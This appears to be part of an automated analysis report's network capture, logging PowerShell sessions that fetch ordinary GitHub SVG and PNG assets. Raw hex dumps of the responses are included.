2024-09-30 13:50:44 UTC	667	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2848 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 08 Aug 2024 18:12:04 GMT ETag: "0x8DCB7D59BC9B2D2" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:44 GMT Age: 2930491 X-Served-By: cache-iad-kiad7000129-IAD, cache-ewr-kewr1740026-EWR X-Cache: HIT, HIT X-Cache-Hits: 8754, 3739 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 36165c74e4ef24fb9991a999915be6eebd873137
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 38 34 22 20 68 65 69 67 68 74 3d 22 33 37 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 34 20 33 37 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 33 35 2e 35 34 32 32 20 31 32 2e 39 31 32 31 43 33 39 2e 35 30 37 31 20 33 2e 31 39 30 30 31 20 33 32 2e 30 38 39 31 20 30 2e 35 34 37 32 34 31 20 32 37 2e 32 37 31 36 20 30 2e 35 34 37 32 34 31 48 31 31 2e 32 38 34 35 43 31 31 2e 37 34 39 38 20 30 2e 38 33 39 34 39 31 20 31 32 2e 30 39 32 31 20 31 2e 32 39 30 37 35 20 31 32 2e 32 34 37 31 20 31 2e 38 31 36 33 39 43 31 32 2e 34 30 32 31 20 32 2e 33 34 32 30 32 20 31 32 2e 33 35 39 32 20 32 2e Data Ascii: <svg width="84" height="37" viewBox="0 0 84 37" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M35.5422 12.9121C39.5071 3.19001 32.0891 0.547241 27.2716 0.547241H11.2845C11.7498 0.839491 12.0921 1.29075 12.2471 1.81639C12.4021 2.34202 12.3592 2.
2024-09-30 13:50:44 UTC	1378	IN	Data Raw: 34 33 2e 31 38 34 31 20 38 2e 35 39 32 33 34 43 34 31 2e 37 31 37 20 38 2e 38 38 34 31 36 20 34 30 2e 33 35 31 31 20 39 2e 35 34 39 37 20 33 39 2e 32 31 39 34 20 31 30 2e 35 32 34 43 33 36 2e 35 39 37 34 20 31 32 2e 39 38 36 34 20 33 36 2e 32 36 37 20 31 37 2e 30 33 30 32 20 33 36 2e 32 36 37 20 31 38 2e 38 36 36 33 56 31 39 2e 38 34 32 37 4c 33 35 2e 38 35 31 33 20 32 30 2e 30 31 32 35 43 33 33 2e 39 33 32 38 20 32 30 2e 37 32 33 36 20 32 38 2e 38 30 36 33 20 32 32 2e 30 37 31 35 20 32 36 2e 39 38 33 38 20 32 36 2e 32 37 34 35 43 32 36 2e 36 30 35 31 20 32 37 2e 32 33 38 33 20 32 36 2e 34 31 33 34 20 32 38 2e 32 36 34 36 20 32 36 2e 34 31 39 20 32 39 2e 32 39 39 34 43 32 36 2e 33 39 36 34 20 33 30 2e 35 37 35 32 20 32 36 2e 37 34 30 34 20 33 31 2e 38 33 Data Ascii: 43.1841 8.59234C41.717 8.88416 40.3511 9.5497 39.2194 10.524C36.5974 12.9864 36.267 17.0302 36.267 18.8663V19.8427L35.8513 20.0125C33.9328 20.7236 28.8063 22.0715 26.9838 26.2745C26.6051 27.2383 26.4134 28.2646 26.419 29.2994C26.3964 30.5752 26.7404 31.83
2024-09-30 13:50:44 UTC	92	IN	Data Raw: 36 30 35 38 43 36 32 2e 34 35 34 20 31 32 2e 34 32 34 20 36 36 2e 32 31 36 33 20 34 2e 37 37 31 35 35 20 37 32 2e 33 36 36 20 33 2e 32 39 36 32 37 4c 37 32 2e 33 33 34 32 20 33 2e 33 30 36 38 36 5a 22 20 66 69 6c 6c 3d 22 23 38 42 39 34 39 45 22 2f 3e 0a 3c 2f 73 76 67 3e 0a Data Ascii: 6058C62.454 12.424 66.2163 4.77155 72.366 3.29627L72.3342 3.30686Z" fill="#8B949E"/></svg>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49789	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:44 UTC	356	OUT	GET /assets/telus-df0c2109df99.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:45 UTC	664	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3398 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 19 Oct 2023 22:56:32 GMT ETag: 0x8DBD0F6A3AEA6EB Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:44 GMT Age: 4220550 X-Served-By: cache-iad-kjyo7100131-IAD, cache-nyc-kteb1890050-NYC X-Cache: HIT, HIT X-Cache-Hits: 60672, 8 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 39a1f8376e8e8aca6afbff84bf1ac31fc0a7c785
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 37 33 22 20 68 65 69 67 68 74 3d 22 33 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 37 33 20 33 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 31 30 32 2e 39 37 20 31 30 2e 30 35 37 33 56 36 2e 35 32 35 38 38 48 39 30 2e 33 37 32 31 56 32 34 2e 36 39 35 34 48 31 30 32 2e 39 37 56 32 31 2e 30 31 30 32 48 39 35 2e 34 37 32 35 56 31 36 2e 39 38 32 35 48 31 30 31 2e 37 30 38 56 31 33 2e 34 35 35 34 48 39 35 2e 34 37 32 35 56 31 30 2e 30 35 37 33 48 31 30 32 2e 39 37 5a 22 20 66 69 6c 6c 3d 22 23 38 42 39 34 39 45 22 2f 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 31 32 35 2e 31 38 35 20 32 Data Ascii: <svg width="173" height="34" viewBox="0 0 173 34" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M102.97 10.0573V6.52588H90.3721V24.6954H102.97V21.0102H95.4725V16.9825H101.708V13.4554H95.4725V10.0573H102.97Z" fill="#8B949E"/><path d="M125.185 2
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: 2e 35 32 35 20 32 30 2e 37 38 32 38 20 31 33 31 2e 37 35 37 20 32 31 2e 35 36 36 32 20 31 33 32 2e 35 34 31 20 32 32 2e 35 35 36 35 43 31 33 33 2e 38 33 33 20 32 34 2e 31 37 32 31 20 31 33 36 2e 33 35 33 20 32 35 2e 30 32 31 38 20 31 33 39 2e 38 32 33 20 32 35 2e 30 32 31 38 43 31 33 39 2e 38 36 32 20 32 35 2e 30 32 31 38 20 31 33 39 2e 38 39 36 20 32 35 2e 30 32 31 38 20 31 33 39 2e 39 33 37 20 32 35 2e 30 32 31 38 43 31 33 39 2e 39 35 35 20 32 35 2e 30 32 31 38 20 31 33 39 2e 39 38 37 20 32 35 2e 30 32 31 38 20 31 34 30 2e 30 31 33 20 32 35 2e 30 32 31 38 43 31 34 34 2e 36 35 39 20 32 35 2e 30 32 31 38 20 31 34 37 2e 30 35 38 20 32 33 2e 32 31 30 32 20 31 34 37 2e 37 35 31 20 32 31 2e 35 31 35 32 43 31 34 38 2e 30 39 38 20 32 30 2e 36 39 33 32 20 31 34 Data Ascii: .525 20.7828 131.757 21.5662 132.541 22.5565C133.833 24.1721 136.353 25.0218 139.823 25.0218C139.862 25.0218 139.896 25.0218 139.937 25.0218C139.955 25.0218 139.987 25.0218 140.013 25.0218C144.659 25.0218 147.058 23.2102 147.751 21.5152C148.098 20.6932 14
2024-09-30 13:50:45 UTC	642	IN	Data Raw: 38 33 20 32 36 2e 37 30 37 20 32 33 2e 31 33 33 37 20 32 38 2e 30 32 37 35 20 32 31 2e 30 37 32 31 43 32 39 2e 32 34 33 20 32 30 2e 33 38 30 36 20 33 30 2e 33 37 38 34 20 31 39 2e 37 30 34 33 20 33 31 2e 34 30 31 35 20 31 39 2e 30 36 31 35 43 33 38 2e 34 35 32 37 20 31 35 2e 30 39 38 37 20 34 36 2e 35 37 36 36 20 37 2e 33 39 33 38 20 34 36 2e 39 32 33 35 20 32 2e 36 39 30 35 36 43 34 36 2e 39 32 35 20 32 2e 36 35 38 35 20 34 36 2e 39 32 35 20 32 2e 36 32 31 33 33 20 34 36 2e 39 32 35 20 32 2e 35 38 36 33 35 43 34 36 2e 39 32 35 20 32 2e 31 38 30 34 35 20 34 36 2e 37 34 39 34 20 31 2e 37 36 32 38 39 20 34 36 2e 34 34 31 31 20 31 2e 34 35 34 36 33 43 34 36 2e 31 31 30 33 20 31 2e 31 31 37 32 33 20 34 35 2e 36 37 34 35 20 30 2e 39 34 38 38 39 31 20 34 35 2e Data Ascii: 83 26.707 23.1337 28.0275 21.0721C29.243 20.3806 30.3784 19.7043 31.4015 19.0615C38.4527 15.0987 46.5766 7.3938 46.9235 2.69056C46.925 2.6585 46.925 2.62133 46.925 2.58635C46.925 2.18045 46.7494 1.76289 46.4411 1.45463C46.1103 1.11723 45.6745 0.948891 45.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49791	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:45 UTC	358	OUT	GET /assets/shape-0-df97fa6b0c27.svg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:45 UTC	666	IN	HTTP/1.1 200 OK Connection: close Content-Length: 480 Cache-Control: public, max-age=31536000, immutable Content-Type: image/svg+xml Last-Modified: Thu, 08 Aug 2024 18:12:08 GMT ETag: "0x8DCB7D59E003406" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:45 GMT Age: 2947304 X-Served-By: cache-iad-kiad7000097-IAD, cache-ewr-kewr1740029-EWR X-Cache: HIT, HIT X-Cache-Hits: 27077, 859 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 50c01e5b23663e6c683661e291e38d439a4e0c31
2024-09-30 13:50:45 UTC	480	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 36 32 38 22 20 68 65 69 67 68 74 3d 22 36 32 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 36 32 38 20 36 32 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 2e 31 22 3e 0a 3c 63 69 72 63 6c 65 20 63 78 3d 22 33 31 34 22 20 63 79 3d 22 33 31 34 22 20 72 3d 22 33 31 33 22 20 73 74 72 6f 6b 65 3d 22 77 68 69 74 65 22 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 2f 3e 0a 3c 63 69 72 63 6c 65 20 63 78 3d 22 33 31 34 2e 37 38 34 22 20 63 79 3d 22 33 31 33 2e 32 31 36 22 20 72 3d 22 31 35 37 2e 36 33 38 22 20 73 74 72 6f 6b 65 3d 22 77 68 69 74 65 22 20 73 74 72 6f 6b 65 2d 77 Data Ascii: <svg width="628" height="628" viewBox="0 0 628 628" fill="none" xmlns="http://www.w3.org/2000/svg"><g opacity="0.1"><circle cx="314" cy="314" r="313" stroke="white" stroke-width="2"/><circle cx="314.784" cy="313.216" r="157.638" stroke="white" stroke-w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49792	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:45 UTC	370	OUT	GET /assets/illu-copilot-editor-6474457a5b19.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:45 UTC	664	IN	HTTP/1.1 200 OK Connection: close Content-Length: 241485 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D59759A692" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:45 GMT Age: 1758659 X-Served-By: cache-iad-kiad7000059-IAD, cache-ewr-kewr1740038-EWR X-Cache: HIT, HIT X-Cache-Hits: 100071, 2 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 43bbca705a15e5306aa547a036befbb459d78b28
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 c0 00 00 05 16 08 03 00 00 00 88 10 72 25 00 00 01 f8 50 4c 54 45 12 18 1f 11 16 1e 13 27 3b 15 27 3c 13 25 3a 20 26 2e a0 79 78 9c a8 b9 2e 34 3b b3 79 65 49 4c 4f 8f 70 70 38 3c 4b 8b 98 a9 87 88 89 d3 d4 d5 26 31 44 35 47 5b 24 37 4b 7e 65 69 69 77 8a 5b 50 5a 49 46 53 b0 b1 b3 7a 87 99 99 72 ae 19 1e 25 1d 2c 40 56 59 5f 1c 2f 43 1e 23 2a 97 75 74 58 67 7a 94 a0 b1 47 58 6a 65 b0 d8 a0 ae 99 26 24 27 64 64 78 9f 6d 5c 42 46 49 6d 5a 61 2d 32 38 26 31 42 16 1b 23 2a 2f 36 52 4c 57 86 6a 6d 3a 3e 43 4f 3c 38 3b 30 30 4e 52 58 2f 37 47 82 8f a1 50 5f 72 8b 61 54 27 2c 33 2e 3e 53 3e 41 47 75 60 65 2d 85 a1 ad 70 a6 41 41 4f 34 38 3e 63 49 42 49 46 52 1d 1d 22 47 56 6a 6a 6c 6f 77 55 4b 45 49 4c 25 Data Ascii: PNGIHDRr%PLTE';'<%: &.yx.4;yeILOpp8<K&1D5G[$7K~eiiw[PZIFSzr%,@VY_/C#utXgzGXje&$'ddxm\BFImZa-28&1B#/6RLWjm:>CO<8;00NRX/7GP_raT',3.>S>AGu`e-pAAO48>cIBIFR"GVjjlowUKEIL%
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: f1 23 c0 01 00 fc 61 ef 0e 72 14 06 c1 28 00 f3 16 5e c2 85 27 f0 fe e7 9b cd c4 c9 a4 8d 52 4b 29 ca f7 2d 8c b5 80 2c 5f 28 e5 af 4b 5d 29 79 5c ae b6 4d 97 2a f7 b1 02 07 00 4c 24 a5 93 94 bc 55 cf 3e 25 1e a1 02 00 f3 4a a7 01 f3 f7 99 17 99 2c 8f 66 15 22 c0 01 00 83 4a 69 20 a7 a7 bb 2d 67 be 25 ab cd f2 ef c2 0a 1c 00 f0 f1 72 40 97 1c 32 8d 2c 72 58 1a 14 d3 8f 00 07 00 6c 72 7a 16 db 20 a7 cf 60 df bf c7 41 be 00 00 ad 12 5d 86 a8 ed 50 4a 04 38 00 80 0a e9 99 ce 4a bc 85 0a 00 7c 91 1c d3 31 8d 23 5b d6 bf 27 2b f7 1e 9c 03 07 00 d0 3e e3 d5 bf c4 90 8d 03 29 a5 05 00 f0 4e 7a cb 9b 11 2f ad 43 63 9c 03 07 00 d0 4b 7d 39 fb 25 95 18 00 80 29 65 b1 98 36 c4 16 bc 6d fd f3 ac 53 04 38 00 80 ed e7 88 64 5f 3a 4b 5d 43 c7 88 00 00 9f 21 65 1c 69 de Data Ascii: #ar(^'RK)-,_(K])y\M*L$U>%J,f"Ji -g%r@2,rXlrz `A]PJ8J\|1#['+>)Nz/CcK}9%)e6mS8d_:K]C!ei
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: c4 12 38 5d d1 a4 5a c8 34 5d 82 dc 56 55 bf d4 79 f7 69 ba 05 c3 32 4d 73 38 46 bf f5 37 e4 b2 8e 2f f6 2d 26 8b 45 45 1c 31 24 8a 75 08 bf fd 21 98 14 42 a8 49 d0 08 5c ac 14 93 d5 d5 4c 07 5e 5c bc ed 1d 64 aa 0a 8b 1c de 86 aa 09 19 e8 52 a2 b4 ef a5 7b 5b 4c 94 9a 43 5c 9d 47 81 f3 62 4c 72 29 70 f6 68 31 b6 86 97 28 25 83 4c 9f 31 09 b1 9e 6a 19 d7 03 51 4a b1 8a 3b a5 60 1e 63 46 54 9a 07 67 80 ee 5a c5 7e 2d 7c 86 98 8a 04 75 46 1c c7 f2 4d 06 7d 6f 82 20 08 e2 64 f0 bd f8 43 b7 5f e1 7f 59 97 bb 92 53 ee 4e e0 fa 18 1c f4 60 bd d8 13 38 fd f7 09 ba d0 32 16 fa 35 5f 66 c2 34 d2 19 68 9e 37 3e c6 12 25 cb 84 9b 7b 2d 70 26 0e db 22 ad c0 99 06 f2 62 0b 9c ef 6f ef b1 ea b2 8a 67 55 1b 15 70 a3 4b 1e a3 9f bf 21 57 ac e6 36 64 16 50 0a 24 63 35 39 Data Ascii: 8]Z4]VUyi2Ms8F7/-&EE1$u!BI\L^\dR{[LC\GbLr)ph1(%L1jQJ;`cFTgZ~-\|uFM}o dC_YSN`825_f4h7>%{-p&"bogUpK!W6dP$c59
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: 41 34 73 0e 08 1c a6 b3 f3 28 75 26 16 8b c5 62 c2 e8 14 e7 7c 03 56 e6 51 67 de ce 9e f4 bb 8d 9c ef f7 13 62 f0 68 33 81 a3 7d 2c 6d 28 81 bb d1 be 85 33 17 b8 4d d5 c6 e1 72 2f 59 57 c7 04 ae c1 ba 5d e0 56 38 dc 95 73 a8 cb a2 31 80 c0 cd 15 65 fb 82 0d 19 d4 18 1a b9 35 11 8c 44 f1 07 5f b8 16 42 5b 04 4e 82 6b 21 43 03 52 84 5a cc 8c 96 ca 22 41 52 87 a1 11 76 08 5c 86 c3 d0 58 e0 5e 5e be 4d a7 2f e2 ef 2d 5f f0 97 96 15 54 58 a3 7b a9 2b 19 40 e0 0c 72 51 bc 18 96 ea 02 a7 fe 27 31 5b c3 60 b1 58 2c a3 43 33 a1 f1 3c 81 9c 98 8b d2 6e 7f 7b 17 81 83 b8 d1 1f 9f 5e f3 dd 5c e0 e4 08 5c 26 ac cd 60 04 8e 6f 6a 82 83 23 70 3b 4c a5 6e 84 cd ad 07 59 c8 f7 b3 d0 37 ef cb bc 39 a1 7a ab ad a4 11 cd d2 30 4c b4 11 b8 48 7e cd d5 35 02 97 86 35 09 a2 66 Data Ascii: A4s(u&b\|VQgbh3},m(3Mr/YW]V8s1e5D_B[Nk!CRZ"ARv\X^^M/-_TX{+@rQ'1[`X,C3<n{^\\&`oj#p;LnY79z0LH~55f
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: b8 92 05 10 09 87 ea d2 2c af de 93 9d 40 b5 58 2c 96 f7 83 9c cf 18 89 49 14 79 f3 43 88 e1 28 dd 28 05 ee 3b fd 03 81 3b 81 eb 20 58 5d d3 06 ab 20 a1 0a 4a 80 1a d9 08 bd 5e 35 97 11 59 29 f7 ac ba 66 50 cd d7 81 9b bf f2 b7 40 0f d3 f6 9b f5 5f 9f f0 1c ff b0 3a dc 3a 8e af c4 3a 8e a7 34 6f d1 6c 6d 2b bb dd 1e 7c ca 2d 82 7a b3 00 9c 57 ff bc 70 5d 5e d1 1d df d3 da 5d d0 ee cb a7 e5 f2 9b ef 90 d2 f6 08 3b fa 66 b1 58 3e 34 64 f2 0f 21 86 57 89 41 08 31 98 b4 35 7e 3c 19 76 c6 98 c8 56 33 b1 72 3c ba 11 b8 df 75 f1 c2 c3 ef 42 e0 c6 01 04 4e 65 8d cf e1 7a 30 39 c6 fc 32 bb 7c ce 82 cb cb 8b 8b 2f d7 b7 f3 f9 e4 bf 81 3e 2f 74 ac 01 59 2c 16 cb 18 e8 96 92 11 3f 8e 0c 9c 86 98 3f 8f 18 ae 50 d2 1d 4e c6 bd 8c c8 5f f6 ee 25 b7 41 18 0a a3 b0 cf 00 Data Ascii: ,@X,IyC((;; X] J^5Y)fP@_:::4olm+\|-zWp]^];fX>4d!WA15~<vV3r<uBNez092\|/>/tY,??PN_%A
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: a3 d9 9d d5 6a 24 7d 3f 5c c8 f1 ee ec 4c aa 3f 6f b4 f3 5a c7 89 da d9 d3 48 49 8d cc 60 cc dc ce 9e c4 e7 ed af 4c 6e 67 4f d5 09 26 ec fd 8f 70 0b 55 92 a4 0b 76 fa da d6 2b ca e7 c5 a9 d6 4f e5 14 d2 31 8f cc fa 19 5c 9c 98 03 6e a1 4a 92 a4 16 e3 1f b1 0c 0a 0f ac 1b 56 bf 28 9f 2e 25 fb c3 14 9e 56 e2 31 22 92 24 9d 09 26 e5 1a 16 4e 4c 8c bb 86 09 7b c1 b4 db ce be e8 1a d8 9f d1 48 9e 52 c2 ce 1f 76 82 20 06 38 49 92 2e 1e 0d 8e b4 64 43 54 72 71 92 28 42 d9 c6 2f 85 07 84 24 b7 4b c9 45 c0 c0 0a 9c 24 49 6a 06 47 48 6f f5 37 40 e4 b0 f7 17 26 af 9f 3d 51 11 80 08 9b d9 4b 92 74 99 88 7f da 0a 57 65 38 de 08 54 3c b4 b2 9d fd c4 17 57 29 69 67 6f 80 93 24 49 35 98 f3 76 1a d8 b1 1d 56 e1 c8 bf a6 c0 c4 2f e9 51 b2 7e 02 2b 70 92 24 a9 2d 2c 33 14 Data Ascii: j$}?\L?oZHI`LngO&pUv+O1\nJV(.%V1"$&NL{HRv 8I.dCTrq(B/$KE$IjGHo7@&=QKtWe8T<W)igo$I5vV/Q~+p$-,3
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: c2 28 8a de 95 7a 8b 34 65 97 79 24 12 2f 8b ad 7a 47 d9 8d 0f 95 44 9a 99 68 e2 8c a8 2e 70 ab 48 b2 7a ab 37 d1 95 ea 25 b8 db 2f 21 84 f4 0f 88 37 e8 97 ff 74 8d b3 97 5b c7 d9 e3 ea 0a 09 c7 45 b8 e2 ec 4f 9a d4 24 ad fe 11 a6 37 8c aa 39 e2 ec 87 96 85 1a 5c 6d 1b 91 ba c0 ed 6b c7 b5 16 b8 32 a6 61 5d b4 4a b3 9b 9a 20 53 3b 23 70 eb dd b6 51 d1 46 a4 d4 b2 fc a0 0a 3d 5b 16 22 b7 3a 3f 07 ee ad 3c fb a3 56 f6 39 70 b3 ba c0 2d f2 e3 47 7e 5c 1e 4a cc aa 12 84 10 42 c8 05 2b 08 fa 36 fa 06 2f 47 6b ef 70 37 8e b3 87 c0 5a bf a1 74 80 dd 62 21 55 ab 61 bc 42 bd a1 c0 7d 89 c8 3e 57 b7 75 7e ac 34 2d 48 f3 f3 4d f9 5e 74 9c 7d 0a 2a 81 4b b7 e2 2d 70 c6 a0 12 a5 a4 ce bb 52 e1 b1 c0 19 1f ab 2e 8f ac 02 17 d7 05 ee 2d 6f b2 cc bf 6f 69 4a e4 9a c7 c8 Data Ascii: (z4ey$/zGDh.pHz7%/!7t[EO$79\mk2a]J S;#pQF=[":?<V9p-G~\JB+6/Gkp7Ztb!UaB}>Wu~4-HM^t}*K-pR.-ooiJ
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: ae 0e 63 2f 12 0a 1c 21 84 90 1b 82 0e 12 75 3f 19 c2 ef 6f 0b 02 01 2e af 8e 2b cf fb 43 e7 38 7b f8 76 aa 19 18 fc 77 27 c1 f1 3a 56 b4 7e 85 1a 1a 53 6b 18 5c 20 8f 00 05 8e 10 42 08 f1 f1 1e fc 7e 9c bd bd 02 da f9 1c 2e 88 b3 47 bb 38 7b eb e6 26 b0 ae 78 45 71 b3 d1 1e 62 46 e0 bc 27 c0 cd 44 ce 1b dc ab 3c 02 14 38 42 08 21 e4 14 b4 8e b3 ef 0e 6e 10 d7 d5 7d a4 0d b0 e4 5d 39 e3 ec 4d 27 73 0e 4b 9c bd 7d 9c f0 b4 96 bf c0 85 99 a6 8d cf ab dd e3 bc 44 25 84 10 42 c8 0d c1 ed 46 df 1a fa e4 5c e7 8a 73 bd e0 c8 63 80 c7 a6 c1 96 18 ad da 2d 00 02 cb a2 e0 b3 37 70 da ae b5 c0 bd e6 eb 4f 1f 7b 08 8e 10 42 08 e9 3f e8 41 a8 03 6e 36 fc d6 3d d7 14 17 15 80 63 69 2b 7e da 88 c5 c4 d9 bb 76 23 86 e7 8a 09 d3 ee a4 be 79 83 ea 2d 70 e3 c0 b1 d8 74 fc Data Ascii: c/!u?o.+C8{vw':V~Sk\ B~.G8{&xEqbF'D<8B!n}]9M'sK}D%BF\sc-7pO{B?An6=ci+~v#y-pt
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: d8 c0 34 c3 7c 13 49 7e 7b 08 d2 bc 6f b1 0e fb fe 07 d6 1f b0 31 94 f3 d1 d1 ab e6 3b 3c 58 22 5f b7 7e 0b a1 bd 93 70 a7 aa 0d 1b f3 fe f6 f5 15 5b 09 38 21 84 10 3f 13 56 ec c9 82 28 6c b8 14 56 19 44 61 0c f8 12 c4 01 64 43 30 b2 63 47 f7 af 08 43 25 0a 42 90 bb de 24 d6 16 49 35 a1 aa fc 39 44 2e a1 a3 a9 2e e7 cf e2 f9 52 35 e1 81 1c eb 5a e9 82 85 10 42 14 78 a1 0d 36 e6 4c c0 e6 4b e3 91 eb 67 4d 7d 09 85 eb 03 78 65 21 f6 8c 3f 66 c4 95 cd 76 5f a6 1f 89 82 1c 24 aa 2b 5c 8b c0 ce 68 a7 26 f2 6d 0e cf 4f d6 fb a7 7e 0b 42 08 21 84 b8 c1 9a e3 d8 8f de 65 9d 7e d8 33 3d 89 4c ab ac 25 86 92 d7 2b d9 a9 20 7b 26 0b 51 c6 10 e2 b1 71 21 52 b6 a4 cd 71 78 af 80 6b cf cf d7 6f 4d 5d 2b 13 9c 10 42 88 df cc 1e de ba 23 18 8f 0e cb 50 47 98 a3 58 99 64 Data Ascii: 4\|I~{o1;<X"_~p[8!?V(lVDadC0cGC%B$I59D..R5ZBx6LKgM}xe!?fv_$+\h&mO~B!e~3=L%+ {&Qq!RqxkoM]+B#PGXd
2024-09-30 13:50:45 UTC	1378	IN	Data Raw: ec 18 39 03 74 03 d9 ea 05 48 de c4 60 8c 31 c6 3c 05 6f 23 3b b8 3e 3a 58 7f f6 03 d5 d6 71 0f f1 4b d6 78 7c 16 b4 be 42 25 ac 51 ad 32 96 6a 93 c5 b8 0f 19 0c 57 34 d9 bc ea af 50 8d 31 c6 18 f3 28 2d c9 ed 0e 08 93 92 9a 1a 40 6b 14 75 d7 cc c6 85 e6 93 8a d2 74 8c c4 98 9e a1 7e 0a 18 c8 51 b9 33 dd ba 80 a2 8c 79 3d 97 11 31 c6 18 63 d2 91 52 64 2c ea e2 ee cb a2 3e 14 dd 1f 12 7f d4 2f 75 2b 2a 66 cc 9d ba 40 33 70 e4 20 7e dd ca 60 12 a2 40 d3 55 43 e2 60 49 36 80 7a 56 10 e5 f4 90 8c c4 9b 18 8c 31 c6 98 a3 25 a3 16 c1 7d eb be b1 d6 0d 1b 0b 1e 2f 1f 8c 6c 68 56 ee 45 ef e1 81 14 a0 57 64 2e ba d7 2c 44 a7 04 dd 27 00 cd d2 3a d6 9f ba 2e 85 7c c5 19 38 63 8c 31 e6 61 b0 a6 8f bb 4c cf ca 39 58 db cf d5 7a 8f 4e 47 86 ee 24 b4 45 1e 10 84 58 e9 Data Ascii: 9tH`1<o#;>:XqKx\|B%Q2jW4P1(-@kut~Q3y=1cRd,>/u+*f@3p ~`@UC`I6zV1%}/lhVEWd.,D':.\|8c1aL9XzNG$EX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	49793	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

